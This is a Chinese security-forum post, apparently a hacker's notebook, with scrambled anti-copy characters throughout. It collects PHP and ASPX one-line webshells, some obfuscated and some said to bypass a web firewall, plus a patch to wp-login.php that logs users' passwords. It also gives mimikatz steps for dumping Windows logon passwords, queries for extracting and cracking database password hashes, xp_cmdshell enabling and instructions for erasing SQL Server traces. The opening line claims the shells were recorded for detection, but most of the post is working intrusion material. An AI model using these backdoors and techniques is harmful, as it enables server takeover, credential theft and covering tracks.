" h& Q/ N' [) D6 ^ }0 ? z SEOlogs.com: http://www.seologs.com/ip-domains.html (反向IP/域名查找) ( i% B# s J# d0 [* ]/ z! \set names gb2312 3 d8 C. ~: k. ^3 T$ g导入数据库显示“Data too long for column 'username' at row 1”错误。原因是不支持中文。# V" I$ k2 H, n
, B5 P* }! ]* X" Ymysql 密码修改6 v( g: X; y' z4 l6 m
UPDATE mysql.user SET password=PASSWORD("newpass") whereuser="mysqladmin ” 6 p+ G- m+ t/ M( i
update user set password=PASSWORD('antian365.com') where user='root'; # a4 x- R* K6 d" N5 }flush privileges; 2 N* y8 E0 R9 \$ s- p9 v: i; g高级的PHP一句话木马后门 5 R- l' r4 B9 @3 F, F1 Z A9 k2 f8 k2 Z2 L' F* L* W- B
入侵过程发现很多高级的PHP一句话木马。记录下来,以后可以根据关键字查杀" ?9 ]7 m p( k* i' ]+ {+ j
$ x) Y" y: l: W6 |& {4 t
1、) [2 z# U* A! e
! v( A3 l( ^+ |& }4 r
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; # k: L7 O. b3 {) w1 \2 M' w9 K* I( |* ^/ M! ?# s
$hh("/[discuz]/e",$_POST['h'],"Access"); 3 K. O8 s/ q l9 e9 G0 Y# v4 R2 W D
//菜刀一句话4 K' d+ X- S+ g6 @* _3 c4 j$ E
( p+ v( L' M8 s/ h) d- q7 I! |2、# d% y; ~! J3 j- T
. B5 k6 N5 g2 p' L
$filename=$_GET['xbid']; 3 B" E7 J, e8 T$ a& [( H3 v5 X, R5 j$ G! U
include ($filename); % |1 i8 @' Y% c- B/ f4 z6 j/ R# ?. r: y" D+ y/ }8 f; ?( u: C
//危险的include函数,直接编译任何文件为php格式运行1 N4 U6 D0 F6 u% j% }* g
, i& G5 C2 e( @2 r
3、 3 R8 @& O# @5 _/ E P9 H2 h, a & o+ o+ c+ c2 \+ { s) d4 B$reg="c"."o"."p"."y"; 6 K9 E, {0 X2 g4 m) }' d# H2 Z0 O
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);" C1 o" n9 R S1 v- Q
5 F8 i# l( Z. U, k6 |1 l) r4 {
//重命名任何文件; l5 I; h/ T) C0 Z& C8 m
- F/ U* G; N- U: ?. x- P
4、 - ]2 V, B, F6 Q- z7 c8 d2 x: F7 f0 l2 c9 ^! I
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; - C* k2 A* L# p, c2 A* k7 |# `: {% w' C" v0 q5 K$ @; X6 y p
$gzid("/[discuz]/e",$_POST['h'],"Access"); ) F. w G5 J, O9 J & C2 _$ Y2 G S& N//菜刀一句话 " D+ v. Y( x, S7 w% H! q6 c 1 E! N: Q2 I1 N3 O5、include ($uid); . C( f4 [& S: h6 x4 y: u : \1 d ]1 `+ U9 |( [7 ?) `//危险的include函数,直接编译任何文件为php格式运行,POST 6 u. d9 t+ `; o! l" B9 f: Q$ ^8 C' T' h8 ]+ T1 L+ O* V
; N* R0 I6 t5 t- ~! }
//gif插一句话 0 s9 r" \1 S5 Z a * |: s9 W$ G* [6、典型一句话" A+ H/ k8 Z3 ~
0 T1 |: K6 L/ f9 f: ~" T; f程序后门代码3 ]9 B, w, `. a. M( V
<?php eval_r($_POST[sb])?>9 M7 l. D4 G; G/ B n# u# [
程序代码 6 x0 t' l( u. d; Y# E. @" ?% J<?php @eval_r($_POST[sb])?> 6 H5 c' c/ b* x, x5 p' J//容错代码) N$ h( }" I. I
程序代码/ x- N) x) `2 `8 l4 _8 o! i4 {
<?php assert($_POST[sb]);?>. C \ G! u( b4 a" `0 A
//使用lanker一句话客户端的专家模式执行相关的php语句 6 {, _) O# T+ @$ O* b6 ]程序代码/ x g1 V" G [/ T6 ^8 G
<?$_POST['sa']($_POST['sb']);?>, {4 _" x, {4 w
程序代码8 d' f; _) `# N. Z1 J1 E3 q
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?> & C! q2 L+ _2 F程序代码# S8 H' c2 Z/ q' F+ r( R! A
<?php3 w3 C _/ b( r; h) T- {
@preg_replace("/[email]/e",$_POST['h'],"error");$ n: _: Y4 a! e$ W4 S3 x
?>2 Y& j% E @# S( ~ ` S$ M
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入 9 R; C7 q2 G' j程序代码 9 b5 |# `" z4 h; _ V<O>h=@eval_r($_POST[c]);</O>. p9 ]3 |1 C2 b P
程序代码3 i9 ?" N0 M$ a; i& @1 M! W
<script language="php">@eval_r($_POST[sb])</script>% o) [3 k* n( ]+ Z0 J' p& i0 A! b
//绕过<?限制的一句话 + F( Q( v' O% F/ B6 q: A/ G! K: H5 I7 ~$ `- Y; T; Z. B1 F; r1 z' K$ C http://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip ' s# S5 P& ~9 r9 G8 s% y详细用法: * N- b F" W( [, E/ Y4 q1、到tools目录。psexec \\127.0.0.1 cmd ( y/ k/ f2 z3 V0 u) y" h: l2、执行mimikatz# r' }, O* t* I+ K
3、执行 privilege::debug 3 S9 j" O# n+ H k F2 V! Y4、执行 inject::process lsass.exe sekurlsa.dll ! L( f% b7 O3 T9 g8 w5、执行@getLogonPasswords% b# V/ ^# h+ @ @: \( T
6、widget就是密码 4 [% I9 r( K0 Z0 w! _7、exit退出,不要直接关闭否则系统会崩溃。 9 O$ R: q" ` Y$ q) i4 I' t2 j # {9 x) R! \% |4 `% {2 z2 W! Thttp://www.monyer.com/demo/monyerjs/ js解码网站比较全面" w. f: N% F4 c& C1 P0 L
2 P) j: T: q% O
自动查找系统高危补丁& r6 H% f* U3 G" M/ P1 Q; T
systeminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a a.txt . \' l9 v+ P" u0 |; t% V" T ; _" h$ `4 K% h K) r- }1 f突破安全狗的一句话aspx后门 O% o$ h: b0 p, f, ?; Y
<%@ Page Language="C#" ValidateRequest="false" %>& H5 y0 \: E: g8 e9 c
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%> " o% `0 ~0 S6 kwebshell下记录WordPress登陆密码8 @* l- V N' K: f- N. j% {( ?* @( m
webshell下记录Wordpress登陆密码方便进一步社工5 B# i8 b* K3 v$ V0 S/ y
在文件wp-login.php中539行处添加: 3 T' L2 g6 p+ w// log password. Y8 k0 p9 ?3 c! t
$log_user=$_POST['log'];* T! n" v) _. p5 \& e- l0 e
$log_pwd=$_POST['pwd']; " _" p* H6 S. S7 k; t$log_ip=$_SERVER["REMOTE_ADDR"];+ Z) R* G7 m+ N1 \* B' @
$txt=$log_user.’|’.$log_pwd.’|’.$log_ip; 0 |4 r/ [* `( z# y- W, K$txt=$txt.”\r\n”;( M4 a* ~! J% Q
if($log_user&&$log_pwd&&$log_ip){ % |0 d. W# e7 T7 k" B1 b@fwrite(fopen(‘pwd.txt’,”a+”),$txt); . i& b1 K c: ]7 j} 7 ]/ I& A4 z% z: K6 D s当action=login的时候会触发记录密码code,当然了你也可以在switch…case..语句中的default中写该代码。2 J% \: i0 b G! U2 C* N3 O
就是搜索case ‘login’0 D9 B, D' Q0 \% m" v
在它下面直接插入即可,记录的密码生成在pwd.txt中,0 y' N% _/ w5 f/ j% M3 p
其实修改wp-login.php不是个好办法。容易被发现,还有其他的方法的,做个记录 ( y' S, K/ B5 S利用II6文件解析漏洞绕过安全狗代码:, o' G6 c% {, p- |1 P
;antian365.asp;antian365.jpg5 M) i/ ?+ ~2 H( g1 T3 D
; w6 c, N# }9 z4 B2 y6 n: B9 u各种类型数据库抓HASH破解最高权限密码! & b: l4 x+ H! j' X1.sql server20007 B3 K3 ~( ^. s/ q
SELECT password from master.dbo.sysxlogins where name='sa' ) n+ M. S$ I, E: t+ V6 K4 P9 H0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341 * L6 z( |; d, M' Y4 Z2FD54D6119FFF04129A1D72E7C3194F7284A7F3A6 {# B3 Y/ ]) l' y; C9 Q
5 |) ]8 j/ ~$ w
0×0100- constant header . N: A( e5 R* W5 A4 E' X5 p7 V34767D5C- salt; D5 e5 z6 H: m4 q' f
0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash + P4 N; Z7 q8 v- F, K2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash - ]2 Q6 I }5 F, wcrack the upper case hash in ‘cain and abel’ and then work the case sentive hash# c6 `* i# i) N( E* l; j
SQL server 2005:- 6 J! e8 {! `- ]7 |3 h nSELECT password_hash FROM sys.sql_logins where name='sa'0 }- l; G, O2 _4 O- e- O& I0 f& U
0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F) f4 v) `2 g" R0 Y" }, d
0×0100- constant header 5 ^& O4 h7 W: ~ Y# [' x( v1 E993BF231-salt; ` n, E9 `+ Z( Q2 d$ i. s2 m
5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash + e5 ]8 ?/ N* K$ ~* Bcrack case sensitive hash in cain, try brute force and dictionary based attacks. ; g8 g @ I& G/ t$ ] C8 @9 @+ ?
update:- following bernardo’s comments:- 9 p h' a2 y* E1 }4 Suse function fn_varbintohexstr() to cast password in a hex string. 5 E# Y; Z, ]1 \/ g, j1 we.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins , B# `/ D3 G: S" }& z* X) O , y7 |& ?7 J# @1 ~MYSQL:- 1 W) l! Q3 A+ K) n0 T0 t8 q t) c r! D/ G$ a" M& J7 q% Q" W
In MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL’s own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2.* f; G- m2 [$ X9 B6 h
# b: f( v3 t5 p6 J' V* J*mysql < 4.1 " W. J# x$ K7 h# a& ?, C& k' Q$ ^7 `7 @( I( _2 [: ^5 x
mysql> SELECT PASSWORD(‘mypass’);9 M! i9 I) w4 _! k9 ^: s
+——————–++ [' o6 I1 V, e) O) H
| PASSWORD(‘mypass’) | * e) Q9 ]8 M, I, ~/ ~+——————–+% w2 ^# S7 s$ u2 m- E
| 6f8c114b58f2ce9e |$ g% @, c; M. ]0 V5 n
+——————–+3 h0 o& {! T0 f) t& k0 P" Q9 G C! _
0 K- X2 d/ m% e7 o*mysql >=4.1/ C0 V% R# ?. H: H
# x' T1 ^0 o0 ?) d# I6 g* | Y( s
mysql> SELECT PASSWORD(‘mypass’);3 f4 i B/ m) g/ D% C
+——————————————-+ ) A# w8 b* g4 L# x! i, s| PASSWORD(‘mypass’) | . F) X0 v, n8 B+——————————————-+ ) a2 _* o. @$ S: _| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 | $ F/ y+ w! D Y+——————————————-+& k) U1 a7 n" ~9 L1 x
- r) w3 G2 a' n" B9 W
Select user, password from mysql.user7 R9 R+ ~8 M; I9 q; f6 O' a$ Y
The hashes can be cracked in ‘cain and abel’ 7 h) _% L4 ~2 D% u. T 4 s3 J- R6 L. ~6 c9 JPostgres:- % `' b8 o& @3 q) r2 tPostgres keeps MD5-based password hashes for database-level users in the pg_shadow table. You need to be the database superuser to read this table (usually called “postgres” or “pgsql”) " n2 @/ Q* O$ ]: k' M" {( `select usename, passwd from pg_shadow;( _. i# P! D) [6 @/ A- n
usename | passwd # [% J/ V0 D N8 p0 `1 s——————+————————————-4 Z* }) ` r3 E, h
testuser | md5fabb6d7172aadfda4753bf0507ed4396/ s: m5 g" [* S0 a4 s
use mdcrack to crack these hashes:-5 U: A% Q: p i: t1 I
$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396 % `5 _" b2 Q U! H3 f $ @3 C2 i9 J9 R" T) p0 c5 cOracle:-5 w4 o. q, k6 ~& Y2 X! O+ T0 ~! t
select name, password, spare4 from sys.user$ # W+ s: {7 a4 ?+ P" S7 Vhashes could be cracked using ‘cain and abel’ or thc-orakelcrackert11g ; q2 z! T. b+ _. Q1 R4 NMore on Oracle later, i am a bit bored….9 `- a, m9 c0 h, ?
7 B4 v. v8 V' G$ e2 J m% H4 A; E
$ o+ n4 W; D! j' o* t在sql server2005/2008中开启xp_cmdshell : @) ]& W6 y" H. K( S9 r3 ^-- To allow advanced options to be changed.# j' P# i8 a* J5 @ I$ D- s& P
EXEC sp_configure 'show advanced options', 1 8 g9 I7 f; C, L' |- T' P @* lGO E. H$ X1 L# Q& z! R0 u& M
-- To update the currently configured value for advanced options. 6 N. u$ i2 r2 Q9 o5 o# a ]1 lRECONFIGURE5 F' |' I8 [( x" ]: Y
GO ( a4 ^2 c2 L- `/ e7 ]3 j-- To enable the feature. - k$ [& S4 |- ~) {( jEXEC sp_configure 'xp_cmdshell', 1) ?: d$ s3 H6 b- J
GO6 C, n! L3 I1 C9 j% H: i* c
-- To update the currently configured value for this feature. 0 Z' L+ u& k( H" @! X( [5 F' nRECONFIGURE # o, `% a' o% H& G3 |1 zGO ; Q5 U# A- j0 F1 \0 QSQL 2008 server日志清除,在清楚前一定要备份。8 m' t/ c, b) z# U2 T
如果Windows Server 2008 标准版安装SQL Express 2008,则在这里删除:/ }' k5 O3 N) N) S- _
X:\Users[SomeUser]\AppData\Roaming\Microsoft\Microsoft SQL Server\100\Tools\Shell\SqlStudio.bin ( v5 A, i: R# ]2 k% j# v5 Y9 @3 W; g& u2 O! B3 K* Y- l+ C
对于SQL Server 2008以前的版本:: x3 t) n9 ?; W- q1 _
SQL Server 2005: # I: s% r W. T删除X:\Documents and Settings\XXX\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat _0 H, O/ S- B1 qSQL Server 2000: * F) d4 O) h, b6 P9 e" F清除注册表HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers\相应的内容即可。 ; i3 h9 Z9 n' ]8 T) I+ K, q' D7 t' ]& V9 M* f
本帖最后由 simeon 于 2013-1-3 09:51 编辑5 |0 c/ ~3 t. T/ F8 j$ R; Z* K" q; |! e
# Y" }9 X2 j9 F; l